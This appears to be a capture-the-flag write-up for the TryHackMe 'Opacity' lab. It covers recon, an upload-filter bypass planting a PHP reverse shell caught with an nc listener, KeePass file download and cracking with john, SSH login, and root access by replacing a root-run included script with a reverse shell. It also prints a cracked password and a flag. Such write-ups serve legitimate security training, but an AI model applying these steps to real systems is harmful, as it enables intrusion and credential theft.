Opacity CTF WriteUp

URL: https://tryhackme.com/r/room/opacity

34f475e3fd89b2e599d2d5571bb46cba.png

Stage 1: Recon

    As a general recon method, use namp for port and service scanning.

root@ip-10-10-143-55:~# nmap -sT -p- 10.10.85.78


Starting Nmap 7.60 ( https://nmap.org ) at 2024-03-30 06:36 GMT
Nmap scan report for ip-10-10-85-78.eu-west-1.compute.internal (10.10.85.78)
Host is up (0.0078s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 02:01:8D:EA:C0:B9 (Unknown)


Nmap done: 1 IP address (1 host up) scanned in 4.41 seconds

After the quick search, a detail recon will be execute on found port 22,80,139,445:

PORT    STATE SERVICE       VERSION
22/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http          Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
139/tcp open  netbios-ssn?
| fingerprint-strings: 
|   SMBProgNeg: 
|_    SMBr
445/tcp open  microsoft-ds?
| fingerprint-strings: 
|   SMBProgNeg: 
|_    SMBr
2 services unrecognized despite returning data.

Since the SSH service on port 22 could provide nothing invaluable for without any user/password now. Let's go to check what's inside the web service on 80.

root@ip-10-10-143-55:~# gobuster dir --url http://10.10.85.78 -w /usr/share/dirb/wordlists/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.85.78
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/03/30 06:41:16 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cloud (Status: 301)
/css (Status: 301)
/server-status (Status: 403)
===============================================================
2024/03/30 06:41:18 Finished
===============================================================

A sub-directory named cloud was found and checking it then.

root@ip-10-10-143-55:~# gobuster dir --url http://10.10.85.78/cloud -w /usr/share/dirb/wordlists/big.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.85.78/cloud
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/03/30 06:42:23 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/images (Status: 301)
===============================================================
2024/03/30 06:42:31 Finished
===============================================================

It seems there's no domain attracting us. Since little knowledge of SMB service, I just stop recon here and go on trying find vulnerability points.

Stage 2: Vulnerability point

Visiting http://10.10.85,78, a login page was presented.

bd5b9a3c6d8e2c757320e7b4722a0fb4.png

Surely we want do something on the login form. 

a. Burst force enumeration

    Since I have no idea about the avaliable username, burst force enumeration would cost a lot of time with big dictionary.So I give it up now.

b. SQLInjaction

   By saving the request and run with sqlmap, all parameters are not injectable.

sqlmap -r ./post.txt --dump
[06:50:14] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

    I believe I am not better than sqlmap in SQL Injectiong:) So just give it up.

So the default site has no way to break in now. Let's take a look at what's inside cloud.

f36f580ef9e0a9b30d431f7110d687d7.png

Well, it's a file upload page.  If I can upload a web shell or reverse shell to the server, that would be an oppertunity to find flags.

With the prompt of 'upload image', we could image that it require upload image file. So just try upload a jpg file.

a. startup a http server on local.

python3 -m http.server

b. copy a jpg file to current directory

c. visit http://10.10.143.55:8000/d.jpg and paste it inside the input field.

We got a image showed on the page. Then let's try to upload reverse shell(php-reverse-shell.php).

It will failed due to the extension name checking. A simple way to bypass the check: http://10.10.143.55:8000/php_reverse_shell.php#00.jpg.

Now we start a nc listener local:

nc -lnvp 1234

Then visit http://10.10.85,78/cloud/images/php_reverse_shell.php, the reverse shell will connect to local nc 1234 port.

In the reverse shell, we can make an enumeration to collect information on the server.

With command whoami, the current user is www-data, and has no sudo permission.

Under /home, we found a user sysadmin, and a file name with local.txt is located there. But we have no permission to view it currently.

How can I get the permission of sysadmin, or find the password for the user?

After view some others' Write-Ups, I did not find somebody with reasonable logical to find the password file which located in /opt named dataset.kdbx.

Here is the way to decrypt the password:

    a. Copy the keepass file to /var/www/html, then use wget http://****/dataset.kdbx to download it.

b. Clone code from git clone https://github.com/ivanmrsulja/keepass2john.git

    c. use keepass2john ./dataset.kdbx > hash.txt

        d use join --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --fork=4

root@ip-10-10-123-142:~# git clone https://github.com/ivanmrsulja/keepass2john.git
Cloning into 'keepass2john'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (24/24), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 24 (delta 10), reused 14 (delta 6), pack-reused 0
Unpacking objects: 100% (24/24), done.


root@ip-10-10-123-142:~# wget 10.10.21.208/dataset.kdbx
--2024-03-30 11:39:52--  http://10.10.21.208/dataset.kdbx
Connecting to 10.10.21.208:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1566 (1.5K)
Saving to: \u2018dataset.kdbx\u2019


dataset.kdbx        100%[===================>]   1.53K  --.-KB/s    in 0s      


2024-03-30 11:39:52 (150 MB/s) - \u2018dataset.kdbx\u2019 saved [1566/1566]


root@ip-10-10-123-142:~# ./keepass2john/keepass2john.py ./dataset.kdbx >hash.txt


root@ip-10-10-123-142:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --fork=4
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
4 0g 0:00:00:19 0.00% (ETA: 2024-04-08 05:44) 0g/s 5.809p/s 5.809c/s 5.809C/s eeyore
1 0g 0:00:00:19 0.00% (ETA: 2024-04-07 18:57) 0g/s 6.236p/s 6.236c/s 6.236C/s cantik
3 0g 0:00:00:19 0.00% (ETA: 2024-04-08 00:42) 0g/s 5.943p/s 5.943c/s 5.943C/s happy
2 0g 0:00:00:19 0.00% (ETA: 2024-04-07 13:19) 0g/s 6.269p/s 6.269c/s 6.269C/s manchester
741852963        (dataset<SHOULD_BE_REMOVED_INCLUDING_COLON>)
1 1g 0:00:00:34 DONE (2024-03-30 11:43) 0.02908g/s 6.340p/s 6.340c/s 6.340C/s 741852963
Waiting for 3 children to terminate
3 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 5.863p/s 5.863c/s 5.863C/s skyline
2 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 6.559p/s 6.559c/s 6.559C/s 242424
4 0g 0:00:00:34 DONE (2024-03-30 11:43) 0g/s 5.900p/s 5.900c/s 5.900C/s justme
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 


root@ip-10-10-123-142:~# apt install keepassx
Reading package lists... Done
Building dependency tree       
Reading state information... Done

Now we can use keepassx to open the dataset file and after inputing the password from join, we got to find the password for user sysadmin.

49b546ccaf25deda872039dfb29405df.png

Since a pair of user/pass has been found, let's try SSH now.

root@ip-10-10-123-142:~# ssh sysadmin@10.10.21.208
The authenticity of host '10.10.21.208 (10.10.21.208)' can't be established.
ECDSA key fingerprint is SHA256:7HJPDiUxEz8ROEWXrBE7SWNvcbOx1PJxlp6tBdVCRoM.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.21.208' (ECDSA) to the list of known hosts.
sysadmin@10.10.21.208's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64)


 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


  System information as of Sat 30 Mar 2024 11:51:09 AM UTC


  System load:  0.0               Processes:             126
  Usage of /:   57.1% of 8.87GB   Users logged in:       0
  Memory usage: 26%               IPv4 address for eth0: 10.10.21.208
  Swap usage:   0%


 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.


   https://ubuntu.com/engage/secure-kubernetes-at-the-edge


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.


     https://ubuntu.com/pro


Expanded Security Maintenance for Applications is not enabled.


0 updates can be applied immediately.


Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status




The list of available updates is more than a week old.
To check for new updates run: sudo apt update


Last login: Wed Feb 22 08:13:43 2023 from 10.0.2.15
sysadmin@opacity:~$ ls -l
total 8
-rw------- 1 sysadmin sysadmin   33 Jul 26  2022 local.txt
drwxr-xr-x 3 root     root     4096 Jul  8  2022 scripts
sysadmin@opacity:~$ cat ./local.txt 
6661b61b44d234d230d06bf5b3c075e2

After login to SSH server, the local.txt content is printed.    

Stage 3: Elevate privilede

But the root privilege is not avaliable now, after checking sudo, crontab, no valuable information found.

The file uploaded will be removed periodly, there must be a background process running.

Let's upload pspy64 to the server.

After running pspy64, we got a backgound process like this:

2024/03/30 11:57:01 CMD: UID=0    PID=1574   | /usr/bin/php /home/sysadmin/scripts/script.php

script.php is executed by root periodly. Maybe we can put the reverse shell there and be executed.

But script.php can't be changed by sysadmin, he has no permission to edit the file.

sysadmin@opacity:~/scripts$ ls -l
total 8
drwxr-xr-x 2 sysadmin root     4096 Mar 30 12:02 lib
-rw-r----- 1 root     sysadmin  519 Jul  8  2022 script.php

Let's have a look at the file content: 

<?php


//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');
echo 'Successful', PHP_EOL;


//Files scheduled removal
$dir = "/var/www/html/cloud/images";
if(file_exists($dir)){
    $di = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $ri = new RecursiveIteratorIterator($di, RecursiveIteratorIterator::CHILD_FIRST);
    foreach ( $ri as $file ) {
        $file->isDir() ?  rmdir($file) : unlink($file);
    }
}
?>

Well, it include a php file called lib/backup.inc.php, let's check whether sysadmin has permission to modify.

drwxr-xr-x 2 sysadmin root     4096 Mar 30 12:02 lib
sysadmin@opacity:~/scripts/lib$ ls -l
total 132
-rw-r--r-- 1 root     root      9458 Jul 26  2022 application.php
-rw-r--r-- 1 root     root       967 Jul  6  2022 backup.inc.php

Sysadmin has the permission to modify backup.inc.php. Let's use php-reverse-shell.php(renamed to p.php) to replace it.

sysadmin@opacity:~/scripts/lib$ cp ./backup.inc.php ./backup.inc.php2
sysadmin@opacity:~/scripts/lib$ mv ./p.php ./backup.inc.php
mv: replace './backup.inc.php', overriding mode 0644 (rw-r--r--)? y

Then after a while the reverse-shell works and connected to my server:

root@ip-10-10-123-142:~# nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.21.208 54630 received!
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 12:11:01 up 50 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
sysadmin pts/0    10.10.123.142    11:51   59.00s  0.11s  0.11s -bash
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#

Now we got the root user shell, and not had to read the /root/proof.txt.

Stage 4: Report

1. The upload vulnerabilty is opened, it did not check the content of the file and a valid file name check.

2. The keepass2 password file was left on ther server and could be viewed by www-data.

3. Though there's no crontab task set, hackes still can upload a pspy64 to check periodly tasks.

A new way to hack password: how to decrypt keepass2 file.

  • 14
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值